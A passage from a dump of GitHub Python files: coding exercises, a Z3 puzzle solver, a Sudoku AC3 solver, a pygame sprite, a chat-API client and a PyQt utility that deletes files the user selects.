street_no,street_name,locality,region,postcode,cr_date))\n\n\t\tcursor.close()\n\n\t\tself._db_util.close()\n\n\n\tdef __str__(self):\n\t\treturn (self._name)\n\n","repo_name":"eltonsky/scraper","sub_path":"dao/agency.py","file_name":"agency.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23778016258","text":"import numpy as np\r\nfrom math import pi, tau, sin, cos\r\n\r\n\r\npolygons = [\r\n [\r\n (10, 10),\r\n (10, 15),\r\n (15, 15)\r\n ], [\r\n (20, 15),\r\n (10, 20),\r\n (30, 30)\r\n ]\r\n]\r\n\r\nheight = 500\r\nwidth = 1000\r\n\r\nmap_2d = np.zeros((height, width), dtype=\"int32\")\r\n\r\ndef create_map_to_3d(height, width):\r\n lat = np.arange(height, dtype=\"float32\") * ( pi / height) - pi/2\r\n long = np.arange(width, dtype=\"float32\") * (2*pi / width)\r\n\r\n map_3d = np.empty((height, width, 3), dtype=\"float32\")\r\n x = np.cos(long) * np.cos(lat)\r\n y = np.sin(lat)\r\n z = np.sin(long) * np.cos(lat)\r\n map_3d[:, :, 0] = x\r\n map_3d[:, :, 1] = y\r\n map_3d[:, :, 2] = z\r\n\r\n return map_3d\r\n\r\nmap_to_3d = create_map_to_3d(height, width)\r\n\r\n","repo_name":"barrycarter/PolygonDistances","sub_path":"voronoi.py","file_name":"voronoi.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"12624842","text":"import parameters as p\nimport pygame\nimport runtime_parameters as rp\n\nclass Cursor(pygame.sprite.Sprite): ########################################################################################################################################################\n def __init__(self):\n super().__init__()\n self.image = pygame.image.load(\"images/cursor.png\")\n self.image = pygame.transform.scale(self.image, (int(p.WIDTH*0.025),int(p.HEIGHT*0.05)))\n self.rect = self.image.get_rect()\n self.wait = 0\n\n def pause(self):\n if self.wait == 1:\n self.wait = 0\n else:\n self.wait = 1\n\n def hover(self):\n if int(p.WIDTH*0.8) <= rp.mouse[0] <= p.WIDTH and int(p.HEIGHT*0.9) <= rp.mouse[1] <= p.HEIGHT:\n pygame.mouse.set_visible(False)\n rp.cursor.rect.center = pygame.mouse.get_pos() # update position\n p.displaysurface.blit(rp.cursor.image, rp.cursor.rect)\n else:\n pygame.mouse.set_visible(True)","repo_name":"lolbit511/platformer-test-","sub_path":"Moribus ACTIVE/Cursor.py","file_name":"Cursor.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73115365848","text":"#!/usr/bin/python3\n\n\"\"\"\n练习1:在屏幕上显示跑马灯文字\n\nversion: 0.1\nauthor: icro\n\"\"\"\n\nimport os\nimport time\n\n\ndef main():\n content = \"杭州欢迎你为你开天辟地......\"\n while True:\n os.system(\"clear\")\n print(content)\n # 休眠200毫秒\n time.sleep(0.2)\n content = content[1:] + content[0]\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"linlicro/python100","sub_path":"day07/lx01.py","file_name":"lx01.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8337846746","text":"import sys\n\nfrom collections import namedtuple, defaultdict\n\nfrom z3 import *\n\nVariable = namedtuple(\"Variable\", \"a\")\nInput = namedtuple(\"Input\", \"a\")\nAdd = namedtuple(\"Add\", \"a b\")\nMul = namedtuple(\"Mul\", \"a b\")\nDiv = namedtuple(\"Div\", \"a b\")\nMod = namedtuple(\"Mod\", \"a b\")\nEql = namedtuple(\"Eql\", \"a b\")\n\nNAMES = \"abcdefghijklmn\"\nVARIABLES = [Int(x) for x in NAMES]\n\ndef main():\n digit_i = 0\n registers = {\n \"w\": 0,\n \"x\": 0,\n \"y\": 0,\n \"z\": 0,\n }\n for line in sys.stdin:\n instr, args_str = line.strip().split(\" \", 1)\n args = args_str.split(\" \")\n\n if instr == \"inp\":\n registers[args[0]] = Input(digit_i)\n digit_i += 1\n elif instr == \"add\":\n try:\n second_arg = int(args[1])\n except ValueError:\n second_arg = registers[args[1]]\n\n registers[args[0]] = Add(registers[args[0]], second_arg)\n elif instr == \"mul\":\n try:\n second_arg = int(args[1])\n except ValueError:\n second_arg = registers[args[1]]\n registers[args[0]] = Mul(registers[args[0]], second_arg)\n elif instr == \"div\":\n try:\n second_arg = int(args[1])\n except ValueError:\n second_arg = registers[args[1]]\n\n registers[args[0]] = Div(registers[args[0]], second_arg)\n elif instr == \"mod\":\n try:\n second_arg = int(args[1])\n except ValueError:\n second_arg = registers[args[1]]\n\n registers[args[0]] = Mod(registers[args[0]], second_arg)\n elif instr == \"eql\":\n try:\n second_arg = int(args[1])\n except ValueError:\n second_arg = registers[args[1]]\n\n registers[args[0]] = Eql(registers[args[0]], second_arg)\n else:\n raise Exception(f\"Invalid instruction {instr}\")\n tree = registers[\"z\"]\n optimized = True\n while optimized:\n tree, optimized = optimize(tree)\n print(\".\", end=\"\", flush=True)\n print(\"ping\")\n # printTree(tree)\n # print()\n\n zTree = toZ3(tree)\n print(\"ping\")\n # print(zTree)\n restrictions = [zTree == 0]\n for variable in VARIABLES:\n restrictions.append(variable >= 1)\n restrictions.append(variable <= 9)\n solve(restrictions)\n\ndef toZ3(tree):\n if type(tree) == Add:\n return toZ3(tree.a) + toZ3(tree.b)\n elif type(tree) == Mul:\n return toZ3(tree.a) * toZ3(tree.b)\n elif type(tree) == Div:\n return toZ3(tree.a) / toZ3(tree.b)\n elif type(tree) == Mod:\n return toZ3(tree.a) % toZ3(tree.b)\n elif type(tree) == Eql:\n return If(toZ3(tree.a) == toZ3(tree.b), 1, 0)\n elif type(tree) == Input:\n return VARIABLES[tree.a]\n elif type(tree) == int:\n return IntVal(tree)\n else:\n raise Exception(\"Invalid type: \" + str(type(tree)))\n\ndef optimize(tree):\n # Eql(Add(Mod(a, b), c \\notin [1, 9]), Input(d)) => 0\n if type(tree) == Eql and type(tree.a) == Add and type(tree.a.a) == Mod and type(tree.a.b) == int and (tree.a.b > 9 or tree.a.b < 1) and type(tree.b) == Input:\n return (0, True)\n\n # Eql(a, a) => 1\n if type(tree) == Eql and tree.a == tree.b:\n return (1, True)\n\n # Add(int, int) => a + b\n if type(tree) == Add and type(tree.a) == int and type(tree.b) == int:\n return (tree.a + tree.b, True)\n\n # Mul(int, int) => a * b\n if type(tree) == Mul and type(tree.a) == int and type(tree.b) == int:\n return (tree.a * tree.b, True)\n\n # Mul(a, 1) => a\n if type(tree) == Mul and tree.b == 1:\n return (tree.a, True)\n\n # Add(a, 0) => a\n if type(tree) == Add and tree.b == 0:\n return (tree.a, True)\n\n # Mul(a, 0) => 0\n if type(tree) == Mul and tree.b == 0:\n return (0, True)\n\n # Add(0, b) => b\n if type(tree) == Add and tree.a == 0:\n return (tree.b, True)\n\n # Div(a, 1) => a\n if type(tree) == Div and tree.b == 1:\n return (tree.a, True)\n\n if type(tree) == Input:\n return (tree, False)\n elif type(tree) == Add:\n left, ret_l = optimize(tree.a)\n right, ret_r = optimize(tree.b)\n return (Add(left, right), ret_l or ret_r)\n elif type(tree) == Mul:\n left, ret_l = optimize(tree.a)\n right, ret_r = optimize(tree.b)\n return (Mul(left, right), ret_l or ret_r)\n elif type(tree) == Div:\n left, ret_l = optimize(tree.a)\n right, ret_r = optimize(tree.b)\n return (Div(left, right), ret_l or ret_r)\n elif type(tree) == Mod:\n left, ret_l = optimize(tree.a)\n right, ret_r = optimize(tree.b)\n return (Mod(left, right), ret_l or ret_r)\n elif type(tree) == Eql:\n left, ret_l = optimize(tree.a)\n right, ret_r = optimize(tree.b)\n return (Eql(left, right), ret_l or ret_r)\n elif type(tree) == int:\n return (tree, False)\n elif type(tree) == Variable:\n return (tree, False)\n else:\n raise Exception(f\"Invalid type {type(tree)}\")\n\ndef printTree(tree):\n if type(tree) == Add:\n print(\"(\", end=\"\")\n printTree(tree.a)\n print(\" + \", end=\"\")\n printTree(tree.b)\n print(\")\", end=\"\")\n elif type(tree) == Mul:\n print(\"(\", end=\"\")\n printTree(tree.a)\n print(\" * \", end=\"\")\n printTree(tree.b)\n print(\")\", end=\"\")\n elif type(tree) == Div:\n print(\"(\", end=\"\")\n printTree(tree.a)\n print(\" / \", end=\"\")\n printTree(tree.b)\n print(\")\", end=\"\")\n elif type(tree) == Mod:\n print(\"(\", end=\"\")\n printTree(tree.a)\n print(\" % \", end=\"\")\n printTree(tree.b)\n print(\")\", end=\"\")\n elif type(tree) == Eql:\n if (type(tree.a) == Eql and tree.b == 0):\n print(\"(1 if \", end=\"\")\n printTree(tree.a.a)\n print(\" != \", end=\"\")\n printTree(tree.a.b)\n print(\" else 0)\", end=\"\")\n else:\n print(\"(1 if \", end=\"\")\n printTree(tree.a)\n print(\" == \", end=\"\")\n printTree(tree.b)\n print(\") else 0\", end=\"\")\n elif type(tree) == Input:\n print(\"input(\", end=\"\")\n printTree(tree.a)\n print(\")\", end=\"\")\n elif type(tree) == Variable:\n print(tree.a, end=\"\")\n elif type(tree) == int:\n print(tree, end=\"\")\n else:\n raise Exception(\"Invalid type: \" + str(type(tree)))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Robbe7730/adventofcode2021","sub_path":"day24/part1_ast_z3.py","file_name":"part1_ast_z3.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12106006822","text":"import socketio\n\nAPI_KEY = 'YOUR_API_KEY'\nPLAYER = 'YOUR_CUSTOM_ID_FOR_EACH_USER'\nURL = \"https://dev-api.carterapi.com\"\n\nsio = socketio.Client()\n\nresponse_queue = []\n\n@sio.event\ndef connect():\n print('Connected to Carter API server')\n\n@sio.event\ndef message(data):\n response_queue.append(data)\n\n@sio.event\ndef hash(data):\n global ACCESS_TOKEN\n ACCESS_TOKEN = data\n print('Received access token:', ACCESS_TOKEN)\n\n@sio.event\ndef disconnect():\n print(\"Disconnected from server. Attempting to reconnect...\")\n sio.connect(URL, headers={\"key\": API_KEY, \"player\": PLAYER}, wait_timeout=10)\n\ndef send_message(message):\n response_queue.clear()\n sio.emit('message', {'text': message, 'hash': ACCESS_TOKEN})\n while not response_queue:\n pass\n return response_queue.pop()\n\nsio.connect(URL, headers={'key': API_KEY, 'player': PLAYER}, wait_timeout=10)\n\nwhile True:\n message = input('Your message: ')\n response_data = send_message(message)\n print(f\"Response: \", response_data[\"output\"][\"text\"])\n","repo_name":"TheKronis/Carter-CeV1-WebSocket","sub_path":"CarterSocket.py","file_name":"CarterSocket.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34228383724","text":"\"\"\"\nModule tp2_reseau_noms: Recherche dans un réseau d'amis à partir de noms\nIFT-1004 Été 2020\n\nAuteur: Mustapha Bouhsen\n\"\"\"\n\nimport tp2_utils\nimport tp2_reseau_identifiants\n\ndef ouvrir_et_lire_fichier_noms():\n \"\"\"\n Demande à l'utilisateur un nom de fichier contenant le répertoire de nom\n PRÉCONDITION: On considère que le fichier du réseau respecte le format écrit dans l'énoncé du TP.\n\n Returns:\n liste_noms (list): Une liste de noms (chaque nom est une chaîne de caractères).\n\n \"\"\"\n # verifier si l'utilisateur a renter le bon noms du fichier\n while True:\n try:\n nom_fichier = input('Veuillez entrer le nom du fichier: ')\n descripteur_fichier = open(nom_fichier, 'r')\n except FileNotFoundError:\n print(\"Le fichier n'existe pas. Recommencez!\")\n continue\n break\n\n liste_noms = [] # liste qui va être remplie avec les noms\n\n # parcourir les noms dans le fichier et les insérer dans la liste\n while True:\n txt = descripteur_fichier.readline()\n if txt == \"\":\n break\n txt = txt.rstrip(\"\\n\")\n liste_noms.append(txt)\n # fermer le fichier en lecture\n descripteur_fichier.close()\n\n for nom in range(len(liste_noms)):\n liste_noms[nom] = liste_noms[nom].lower()\n\n return liste_noms\n\ndef nom_existe(nom_usager, liste_noms):\n \"\"\" fonction qui suggère la personne qui a le plus d'amis en commun avec l'utilisateur\n\n Args:\n nom_usager : chaine de caractère qui represente un nom\n liste_noms : liste qui contient les noms sur lesquels on compare nom_usager\n\n Returns:\n bool: True si le noms est dans la liste sinon False\n\n \"\"\"\n nom_usager = nom_usager.lower()\n\n return nom_usager in liste_noms\n\n\ndef creer_dictionnaire_usagers(liste_noms):\n \"\"\" fonction crée un dictionnaire des noms d'utilisateur avec leur id comme clê\n\n Args:\n liste_noms : liste qui contient les noms des usagers\n\n Returns:\n un dictionnaire des nom et id des utilisateurs\n\n \"\"\"\n\n id = 0 # initialiser la variable id a 0\n dictionnaire_usagers = {} # initialiser le dictionnaire qui va contenir les cles et valeurs\n\n # remplir le dictionnaire avec les infos\n for noms in liste_noms:\n dictionnaire_usagers[noms] = id\n id = id + 1\n\n return dictionnaire_usagers\n\n\ndef recommander(nom_usager, reseau, matrice_similarite, liste_noms, dict_usagers):\n \"\"\" fonction qui suggère la personne qui a le plus d'amis en commun avec l'utilisateur\n\n Args:\n nom_usager: un caractere qui represente le nom de l'utilisateur\n reseau : liste obtenus a partir de la fonction ouvrir_et_lire_fichier_reseau,\n cette derniere retourne une liste des listes des utilisateurs avec leurs amis\n matrice_similarite : matrice des amis en commun\n liste_noms : liste qui contient tous les noms des utilisateurs\n dict_usagers : dictionnaire qui contient les noms des utilisateur et leur id\n\n Returns:\n srt: un caractere qui represente le noms a suggerer\n\n \"\"\"\n\n # transformer les lettre en miniscul pour matcher avec la liste des utilisateur\n # extraire l'id du dictionnaire\n nom_usager = nom_usager.lower()\n id_usager = dict_usagers[nom_usager]\n\n # traitement comme avec les id's comme au module tp2_reseau_identifiants (meme logique)\n id = tp2_reseau_identifiants.recommander(id_usager, reseau, matrice_similarite)\n\n # le nom qui correspond a l'indexe obtenue\n nom = liste_noms[id]\n\n nom = nom[0].upper() + nom[1:] # la premiere lettre en majuscule\n return nom\n\n# Tests unitaires (les docstrings ne sont pas exigés pour les fonntions de tests unitaires)\n\ndef test_nom_existe():\n assert nom_existe(\"MoMo\", ['momo', 'alex', 'sara']) == True\n assert nom_existe(\"MomO\", ['momo', 'alex', 'sara']) == True\n assert nom_existe(\"momo\", ['adele', 'alex', 'momo']) == True\n assert nom_existe(\"Momo\", ['mom', 'alex', 'sara']) == False\n assert nom_existe(\"sara\", ['momo', 'alex', 'sarah']) == False\n\n\ndef test_creer_dictionnaire_usagers():\n assert creer_dictionnaire_usagers(['abdel', 'momo']) == {'abdel' : 0, 'momo' : 1}\n assert creer_dictionnaire_usagers(['alex', 'abdel']) != {'abdel': 0, 'alex' : 1}\n assert creer_dictionnaire_usagers(['momo', 'abdel']) == {'momo': 0, 'abdel': 1}\n assert creer_dictionnaire_usagers(['abdel', 'momo', 'alex']) == {'abdel': 0, 'momo': 1, 'alex': 2}\n assert creer_dictionnaire_usagers(['abdel', 'alex', 'momo']) == {'abdel': 0, 'alex': 1, 'momo': 2}\n\n\nif __name__ == \"__main__\":\n test_nom_existe()\n test_creer_dictionnaire_usagers()\n print('Test unitaires passés avec succès!')\n\n","repo_name":"mus514/Checkers-game","sub_path":"mustapha-tp2/tp2_reseau_noms.py","file_name":"tp2_reseau_noms.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36295810130","text":"num_games = int(input())\nteam1 = [int(e) for e in input().split()]\nteam2 = [int(e) for e in input().split()]\n\ndef totaled_lis(lis):\n for a in range(1, len(lis)):\n lis[a] += lis[a-1]\n return [0] + lis\n\ntot1 = totaled_lis(team1)\ntot2 = totaled_lis(team2)\n\nfor a in range (num_games, -1, -1):\n if tot1[a] == tot2[a]:\n break\nprint(a)\n","repo_name":"xiaolongjia/techTrees","sub_path":"Python/98_授课/10_Programming/CCC/CCC-Senior-Solutions/CCC 2017 Senior/Problem S1 Sum Game.py","file_name":"Problem S1 Sum Game.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21741441469","text":"import math\n\ndef logn(x):\n sinal = 1\n serie = 0\n for i in range (1,100):\n serie += sinal * ((x**i)/i)\n sinal *= -1\n return serie\n\ndef reducao(x):\n return x/(2**(k))\n\nx = int (input())\n\nk = math.ceil(math.log2(x))\n\nxlinha = reducao(x) -1\nln = logn(xlinha) + k*(math.log(2))\nprint(\"calculado: \", ln)\nprint(\"Python: \", math.log(x))","repo_name":"biadejesus/trabalhosMC","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42690222664","text":"import sys\ninput = sys.stdin.readline\n\narr1 = list(input().rstrip())\narr2 = list(input().rstrip())\nlen1 = len(arr1)\nlen2 = len(arr2)\n\nd = [[0 for _ in range(len2+1)] for _ in range(len1+1)]\n\nfor i in range(1, len1+1):\n for j in range(1, len2+1):\n if arr1[i-1] == arr2[j-1]:\n d[i][j] = d[i-1][j-1]+1\n else:\n d[i][j] = max(d[i-1][j], d[i][j-1])\n\nprint(d[-1][-1])","repo_name":"ecvheo1/Algorithms","sub_path":"BOJ/Dynamic Programming/9251.py","file_name":"9251.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25669029691","text":"from copy import deepcopy\nimport os\nimport AC3Functions\nfrom AuxClasses import ArcQueue\nfrom AuxClasses import Board\nimport BackTracking\nimport FileFunctions\n\nengine = \"C\"\n\ndef main():\n\n #Get currentDirectory and filename\n originalFileName = \"board2.txt\"\n currentDirectory = os.path.dirname(os.path.realpath(__file__))\n fileName = os.path.join(currentDirectory,\"../test_boards/\"+originalFileName)\n\n #2d Array of board, with None in empty places\n startingBoard = parseInputFile(fileName)\n\n board = Board(startingBoard)\n\n #Print the starting board\n print(\"Starting Board:\")\n printBoard(startingBoard)\n\n #Run AC3 Algorithm\n print(\"Calling AC3 Algorithmn\")\n resolvedBoard = AC3Functions.getAC3(board)\n print(\"AC3 Finished\")\n if(resolvedBoard == None):\n print(\"Board Not solvable!\")\n return None\n\n\n print()\n print()\n print(\"Calling backtracking\")\n print()\n\n if(engine.lower() == \"c\"):\n FileFunctions.callBackTrackingInC(resolvedBoard.domainDict, originalFileName)\n else:\n BackTracking.backTrackHelper(board)\n \n #resolvedBoard.printDomain()\n #BackTracking.backTrackHelper(board)\n \n\ndef parseInputFile(fileName):\n\n #Read contents of file\n f = open(fileName, \"r\")\n\n allLines = f.readlines()\n\n theBoard = []\n\n for line in allLines:\n currentRow = []\n splitLine = line.split(\",\")\n for x in splitLine:\n xSrtipped = x.strip()\n if(xSrtipped.isnumeric()):\n currentRow.append((int)(xSrtipped))\n else:\n currentRow.append(None)\n\n theBoard.append(currentRow)\n f.close()\n\n return theBoard\n \n\n#This is to make sure board is correct size, and fits possible values\ndef checkBoard(board, boardSize=9, possibleValues=[1,2,3,4,5,6,7,8,9]):\n\n for i in range(0, len(board)):\n if(len(board[i]) != boardSize):\n return False\n\n return True\n\n\ndef printBoard(board):\n\n for i in range(0, len(board)):\n for k in range(0, len(board[i])):\n if(board[i][k] is None):\n print(\"_ \", end=\"\")\n else:\n print(board[i][k], \" \", end=\"\")\n\n print()\n\nif __name__ == \"__main__\":\n main()","repo_name":"kostaa-k/Sudoku-Solver","sub_path":"src/DriverFunctions.py","file_name":"DriverFunctions.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70061616729","text":"import random\n\nclass Stack:\n def __init__(self):\n self.internal = []\n def push(self,data):\n self.internal.append(data)\n def pop(self):\n return self.internal.pop()\n def is_empty(self):\n return self.internal == []\n \nclass Queue:\n def __init__(self):\n self.internal = []\n def push(self,data):\n self.internal.insert(0,data)\n def pop(self):\n return self.internal.pop()\n def is_empty(self):\n return self.internal == []\n\ndef extended_bfs(start_node,graph,num_nodes):\n already_seen = []\n levels = [[] for _ in range(num_nodes)]\n levels[0] = [start_node]\n already_seen.append(start_node)\n for i in range(num_nodes):\n if levels[i] == []:\n break\n while levels[i] != []:\n u = levels[i].pop()\n for x in graph[i]:\n if not x in already_seen:\n already_seen.append(x)\n levels[i+1].append(x)\n return already_seen\n \ndef dfs(start_node,graph):\n stack = Stack()\n stack.push(start_node)\n print(\"traversal for dfs:\")\n first_time = True\n already_seen = []\n while not stack.is_empty():\n next_node = stack.pop()\n if next_node == start_node and not first_time: return\n [stack.push(elem) for elem in graph[next_node] if not elem in already_seen]\n already_seen.append(next_node)\n print(next_node,end=\" \")\n first_time = False\n print()\n\ndef bfs(start_node,graph):\n queue = Queue()\n queue.push(start_node)\n print(\"traversal for bfs:\")\n first_time = True\n already_seen = []\n while not queue.is_empty():\n next_node = queue.pop()\n if next_node == start_node and not first_time: return\n [queue.push(elem) for elem in graph[next_node] if not elem in already_seen]\n already_seen.append(next_node)\n print(next_node,end=\" \")\n first_time = False\n print()\n\ndef path(listing):\n for elem in listing:\n print(elem,end=\" -> \")\n\ndef distance(path,a,b):\n index_a = path.index(a)\n index_b = path.index(b)\n if index_a < index_b:\n return index_b-index_a\n else:\n return index_b + (path.index(path[-1]) - index_a)\n \ng = {}\nfor node in range(20):\n g[node] = [elem for elem in range(20)]\n g[node].remove(node)\n listing = g[node][:]\n [g[node].remove(i) for i in listing if random.choice([1,2,3]) == 1]\n\nstart_node = random.randint(0,19)\nprint(\"start_node:\",start_node)\nprint(\"children:\",g[start_node])\ncount = 0\nfor i in range(20):\n if start_node in g[i]:\n count += 1\nprint(\"percentage of nodes directly connected to start node:\",count/20*100)\nshortest_path = extended_bfs(start_node,g,20)\nprint(path(shortest_path))\nprint(distance(shortest_path,1,5))\n#print()\n#dfs(start_node,g)\n","repo_name":"EricSchles/stanford_design_analysis","sub_path":"lecture11.py","file_name":"lecture11.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41852424764","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[8]:\n\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom statsmodels.tools.eval_measures import rmse\nfrom sklearn.preprocessing import MinMaxScaler\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ntf.random.set_seed(1)\n\nsymbolList = ['MU']\n\nfor sym in symbolList:\n\n df = pd.read_csv('Exports/' + sym + '_Export.csv')\n print(df)\n\n\n # In[9]:\n\n\n df.date = pd.to_datetime(df.date)\n df = df.set_index(\"date\")\n\n\n # In[10]:\n\n\n train = df[:-100]\n test = df[-100:]\n train = train.drop(\"1. open\", axis=1)\n train = train.drop(\"2. high\", axis=1)\n train = train.drop(\"3. low\", axis=1)\n train = train.drop(\"5. volume\", axis=1)\n test = test.drop(\"1. open\", axis=1)\n test = test.drop(\"2. high\", axis=1)\n test = test.drop(\"3. low\", axis=1)\n test = test.drop(\"5. volume\", axis=1)\n\n\n # In[11]:\n\n\n scaler = MinMaxScaler()\n print(train)\n scaler.fit(train)\n train = scaler.transform(train)\n test = scaler.transform(test)\n\n\n # In[12]:\n\n\n n_input = 5\n n_features = 1\n generator = tf.keras.preprocessing.sequence.TimeseriesGenerator(train, train, length=n_input, batch_size=64)\n generator_test = tf.keras.preprocessing.sequence.TimeseriesGenerator(test, test, length=n_input, batch_size=5)\n\n\n # In[13]:\n\n\n model = tf.keras.models.Sequential()\n model.add(tf.keras.layers.LSTM(30, activation='relu', input_shape=(n_input, n_features)))\n model.add(tf.keras.layers.Dropout(0.15))\n model.add(tf.keras.layers.Dense(1))\n model.compile(optimizer='adam', loss='mse')\n\n\n # In[15]:\n\n\n single_step_history = model.fit(generator,epochs=60,validation_data=generator_test,validation_steps=5)\n\n\n # In[16]:\n\n\n def plot_train_history(history, title):\n loss = history.history['loss']\n val_loss = history.history['val_loss']\n\n epochs = range(len(loss))\n\n plt.figure()\n\n plt.plot(epochs, loss, 'b', label='Training loss')\n plt.plot(epochs, val_loss, 'r', label='Validation loss')\n plt.title(title)\n plt.legend()\n\n plt.show()\n\n\n # In[17]:\n\n\n plot_train_history(single_step_history,\n 'Single Step Training and validation loss')\n\n\n # In[18]:\n\n\n pred_list = []\n\n batch = test[-n_input:].reshape((1, n_input, n_features))\n\n for i in range(n_input): \n pred_list.append(model.predict(batch)[0]) \n batch = np.append(batch[:,1:,:],[[pred_list[i]]],axis=1)\n \n\n\n # In[19]:\n\n\n df_predict = pd.DataFrame(scaler.inverse_transform(pred_list),\n index=df[-n_input:].index, columns=['Prediction'])\n\n df_test = pd.concat([df,df_predict], axis=1)\n\n\n # In[20]:\n\n\n plt.figure(figsize=(20, 5))\n plt.plot(df_test.index, df_test['4. close'])\n plt.plot(df_test.index, df_test['Prediction'], color='r')\n plt.xticks(fontsize=18)\n plt.yticks(fontsize=16)\n plt.show()\n\n\n # In[21]:\n\n\n pred_actual_rmse = rmse(df_test.iloc[-n_input:, [0]], df_test.iloc[-n_input:, [1]])\n print(\"rmse: \", pred_actual_rmse)\n\n\n # In[22]:\n\n\n train = df\n train = train.drop(\"1. open\", axis=1)\n train = train.drop(\"2. high\", axis=1)\n train = train.drop(\"3. low\", axis=1)\n train = train.drop(\"5. volume\", axis=1)\n\n\n # In[23]:\n\n\n scaler.fit(train)\n train = scaler.transform(train)\n\n\n # In[24]:\n\n\n n_input = 5\n n_features = 1\n generator = tf.keras.preprocessing.sequence.TimeseriesGenerator(train, train, length=n_input, batch_size=32)\n\n\n # In[ ]:\n\n\n model.fit(generator,epochs=60)\n\n\n # In[113]:\n\n\n pred_list = []\n\n batch = train[-n_input:].reshape((1, n_input, n_features))\n\n for i in range(n_input): \n pred_list.append(model.predict(batch)[0]) \n batch = np.append(batch[:,1:,:],[[pred_list[i]]],axis=1)\n\n\n # In[114]:\n\n\n from pandas.tseries.offsets import DateOffset\n add_dates = [df.index[-1] + DateOffset(days=x) for x in range(0,n_input+1) ]\n future_dates = pd.DataFrame(index=add_dates[1:],columns=df.columns)\n\n\n # In[115]:\n\n\n df_predict = pd.DataFrame(scaler.inverse_transform(pred_list),\n index=future_dates[-n_input:].index, columns=['Prediction'])\n df_proj = pd.concat([df,df_predict], axis=1)\n\n\n # In[116]:\n\n\n plt.figure(figsize=(20, 5))\n plt.plot(df_proj.index, df_proj['4. close'])\n plt.plot(df_proj.index, df_proj['Prediction'], color='r')\n plt.xticks(fontsize=18)\n plt.yticks(fontsize=16)\n plt.show()\n","repo_name":"Harin329/StockChek","sub_path":"Archive/NN/7PredictRMSE.py","file_name":"7PredictRMSE.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1466631630","text":"from PyQt6.QtWidgets import QApplication, QWidget, QVBoxLayout,QLabel\nfrom PyQt6.QtWidgets import QPushButton, QFileDialog # search for files in OS\nfrom PyQt6.QtCore import Qt\nfrom pathlib import Path # dealing with path on OS\n\n# Initial set up\napp=QApplication([])\nwindow=QWidget() # all widget, button will be added in this \"window\"\nwindow.setWindowTitle('File Destroyer')\n\n\n# Functions / Slots\n # Open the files and displays file's path - open_btn\ndef open_files():\n # not good practice but we declare this variably globally, meaning it can be accessed form everywhere\n global filenames \n print('Searching has started...')\n # we have a list of paths which are strings\n filenames, _ = QFileDialog.getOpenFileNames(window, \"Select files\")\n # we save the path to message var but it'll be list, once we use .join() it takes a string and adds the value from the list and converts into str\n message.setText('\\n'.join(filenames))\n print(message)\n # this button destroy_btn actually deletes fiels\ndef destroy_files():\n for filename in filenames:\n # we convert path string into Path \n path=Path(filename)\n # open a file \n with open(path,'wb') as file:\n # write binary and saves and closes file\n file.write(b'')\n # once it's closed file is deleted\n path.unlink()\n message.setText('Destruction Successful!')\n print(message)\nmain_layout=QVBoxLayout()\n# widget as description of the app\ndescription=QLabel('Choose the files you want to destroy. The files will be permanetly deleted!')\n# adding this widget to the main layout\nmain_layout.addWidget(description)\n\n# Another widget, adding Push button and its parameters\nopen_btn=QPushButton('Open Files')\n# when you hover over this btn u get this msg\nopen_btn.setToolTip('Find files in the iOS') \n# Changing the size of this btn\nopen_btn.setFixedWidth(120)\n# adding this widget to the main layout\nmain_layout.addWidget(open_btn, alignment=Qt.AlignmentFlag.AlignCenter)\n# Set the action of the button, what it'll do?\nopen_btn.clicked.connect(open_files) # once clicked on button .connect method will invoke my fn\n\n# Another widget, adding Destroy button-push and its parameters\ndestroy_btn=QPushButton('Destroy Files')\n# Changing the size of this btn\ndestroy_btn.setFixedWidth(120)\n# adding this widget to the main layout\nmain_layout.addWidget(destroy_btn, alignment=Qt.AlignmentFlag.AlignCenter)\ndestroy_btn.clicked.connect(destroy_files) # once clicked on button .connect method will invoke my fn\n\n# adding widget/Label as msg to inform an user what's going on\nmessage=QLabel('')\nmain_layout.addWidget(message,alignment=Qt.AlignmentFlag.AlignCenter)\n\n# Display that enetered txt\nwindow.setLayout(main_layout)\nwindow.show()\napp.exec()","repo_name":"AndzejK/webApp_w_Flask","sub_path":"desktopApp/File_Destroyes_app.py","file_name":"File_Destroyes_app.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12157875402","text":"class Solution(object):\n def multiply(self, num1, num2):\n \"\"\"\n :type num1: str\n :type num2: 